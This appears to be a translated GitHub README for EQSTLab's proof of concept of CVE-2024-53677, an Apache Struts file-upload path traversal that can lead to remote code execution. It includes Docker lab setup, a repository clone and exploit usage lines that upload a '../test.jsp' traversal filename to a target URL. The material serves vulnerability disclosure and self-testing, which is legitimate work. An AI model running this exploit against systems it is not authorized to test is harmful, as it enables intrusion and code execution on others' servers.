本文是由 EQSTLab 发布的研究文章。
★ CVE-2024-53677 危险类型文件的不受限制上传与 RCE PoC ★
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
12月11日：CVE-2024-53677 文件上传 PoC 已上传
CVE-2024-53677：Apache Struts 的文件上传逻辑存在缺陷。攻击者可以操纵文件上传参数来实现路径遍历，在某些情况下，这可能导致上传恶意文件，进而可用于执行远程代码。此问题影响 Apache Struts：从 2.0.0 到 6.4.0 之前的所有版本。建议用户至少升级到 6.4.0 版本，并迁移到新的文件上传机制 https://struts.apache.org/core-developers/file-upload 。如果您没有使用基于 FileuploadInterceptor 的旧文件上传逻辑，您的应用程序是安全的。您可以在 https://cwiki.apache.org/confluence/display/WW/S2-067 中找到更多详细信息。
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677
pip install -r requirements.txt
# Upload the default file
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Upload Specified File
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt
CVE-2024-53677.py
本仓库并非针对 CVE-2024-53677 的对象注入漏洞利用程序。该项目的目的是帮助人们了解此漏洞，并或许测试他们自己的应用程序。
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣，请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do
https://nvd.nist.gov/vuln/detail/CVE-2024-53677
https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677
https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker